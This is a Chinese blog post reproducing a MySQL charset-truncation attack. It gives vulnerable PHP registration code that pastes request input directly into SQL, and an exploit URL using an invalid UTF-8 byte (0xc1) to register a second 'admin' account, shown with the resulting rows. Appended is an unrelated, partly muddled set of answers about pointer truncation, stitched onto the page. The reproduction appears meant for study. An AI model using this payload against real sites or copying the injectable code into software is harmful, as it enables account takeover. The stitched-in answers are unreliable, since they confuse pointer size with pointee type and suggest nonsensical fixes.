Mysql charset Truncation vulnerability

本文只是重现了下这个漏洞,详细请参考http://www.80sec.com/mysql-charset-truncation-vulnerability.html

1. 设置数据库的编码格式:

SET character_set_client = utf8;
SET character_set_connection = utf8;
SET character_set_database = utf8;
SET character_set_results = utf8;
SET character_set_server = utf8;
显示如下:

mysql> show variables like 'character%';
+--------------------------+----------------------------+
| Variable_name            | Value                      |
+--------------------------+----------------------------+
| character_set_client     | utf8                       |
| character_set_connection | utf8                       |
| character_set_database   | utf8                       |
| character_set_filesystem | binary                     |
| character_set_results    | utf8                       |
| character_set_server     | utf8                       |
| character_set_system     | utf8                       |
| character_sets_dir       | /usr/share/mysql/charsets/ |
+--------------------------+----------------------------+
8 rows in set (0.00 sec)

2. 创建数据库与表:

mysql> create database my_db;
Query OK, 1 row affected (0.00 sec)

mysql> use my_db;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql>  create table test_user (username varchar(16), password varchar(20));
Query OK, 0 rows affected (0.00 sec)

mysql> insert into test_user values('admin','123445')
    -> ;
Query OK, 1 row affected (0.00 sec)

mysql> select * from test_user;
+----------+----------+
| username | password |
+----------+----------+
| admin    | 123445   |
+----------+----------+
1 row in set (0.00 sec)

3. 访问数据库的php代码如下:
<?php
$user=$_REQUEST['user'];
$passwd=$_REQUEST['pass'];
mysql_connect("localhost", "root", "owaspbwa") or
die("Could not connect: " . mysql_error());
mysql_select_db("my_db");
mysql_query("SET names utf8");
$result = mysql_query("SELECT * from test_user where username='$user'");
if(trim($user)=='' or strlen($user)>16){
die("Input user Invalid");
}
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
else {
$sql="insert test_user values ('$user','$passwd')";
mysql_query($sql);
echo "$user register OK!";
}
mysql_free_result($result);
?>

4. 如果if(trim($user)=='' or strlen($user)>16)不是大于16,比如大于20,则可以用SQL Column Truncation Vulnerabilities来写入一个与admin相同的用户,这里因为等于16所以行不通。不过可以通过utf-8多字节编码来截断插入一个admin用户。直接用http://192.168.182.149/test/sql.php?user=admin%c1zzz&pass=qweqweqwefdfdsf来访问,因为utf-8不包含0xc1所以后面的会截断。


数据库的内容:

mysql> select * from test_user;
+--------------+-----------------+
| username     | password        |
+--------------+-----------------+
| admin        | 123445          |
| admin0xc1zzz | qweqweqwefdfdsf |
| admin        | pass2           |
| admin0xc1fd  | pass2           |
| admin        | qweqweqwefdfdsf |
+--------------+-----------------+
5 rows in set (0.00 sec)




### 回答1: 指针截断(pointer truncation)是指将一个指针从一个数据类型转换为另一个数据类型时,导致指针所指向的内存地址被截断的现象。这种情况可能会导致程序出现错误或崩溃,因为截断后的指针可能无法正确访问原来指向的内存地址。在编程中,应该避免出现指针截断的情况,确保指针类型转换的正确性。 ### 回答2: Pointer truncation 是指当某个指针变量被转换为一个较小的类型时,因为指针变量存储的地址值超过了目标类型所能表达的最大值而发生的截断现象。 在 C 和 C++ 语言中,指针变量的大小是与所指向的内存地址的大小相关的。对于一个 32 位的系统,一个指针变量占用 4 个字节的内存空间,能够表示的内存地址范围为 0 ~ 2^32-1 。而当一个指针被转换为一个较小的类型,例如 char 或 short 时,实际上只有一个字节或两个字节的空间被分配给这个新的类型。如果原来指针变量的地址值超过了新类型的最大值,那么转换后的指针将出现截断,导致指针指向错误的地址。这种行为被称为 pointer truncation。 在程序开发中,可能会出现 pointer truncation 的情况。这种情况可能会导致程序崩溃、数据丢失或不可预测的行为。因此,在编写程序时,必须防止 pointer truncation 的发生。 为了避免 pointer truncation,程序员应该注意以下几点: 1. 不要将大类型的指针转换为小类型的指针。 2. 在使用某些 C 标准库函数时要特别小心,这些函数可能会强制转换指针类型并导致指针截断。 3. 确保所使用的编译器和操作系统支持指针足够的大小,以避免指针截断的问题。 4. 当使用较小类型的指针时,确保只使用能够表示的内存地址范围,以避免指针截断。 总之,pointer truncation 是由于指针变量存储的地址值超过了目标类型所能表达的最大值而发生的截断现象。程序员应该注意在程序中避免这种现象的发生,以确保程序的正确性和可靠性。 ### 回答3: 指针截断是指将一个指向较大数据类型的指针赋值给一个指向较小数据类型的指针,从而导致指针的位数被截断的情况。这种情况通常发生在编写系统编程时,在对数据类型进行强制类型转换或在将指针在不同的数据类型之间进行转换时。 指针截断的主要问题是当位数被截断时,指针就会丢失某些信息。当一个指针被截断时,它指向的内存地址可能会改变,因此可能会影响程序的运行。另外,指针截断可能会导致程序出现未定义的行为,这意味着程序的行为将无法预测,通常接下来的操作都是不安全的。 为了避免指针截断的问题,我们可以使用一些技巧来解决。例如,使用类型转换来将较大的数据类型转换为较小的数据类型,在将指针转换到另一个类型时,我们可以使用某些特定的技巧来确保指针不会被截断。例如,我们可以使用两个指针,其中一个指向数据的源,并将其强制转换为较小的数据类型,而另一个指向此数据类型的指针,则指向转换后的新数据。当我们对源指针进行任何操作时,新的指针也会使它进行相应的操作。 总的来说,指针截断是一个很具有挑战性的问题,但如果我们始终注意到它的问题,并使用合适的技巧进行调整,就可以避免指针截断上出现的错误。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值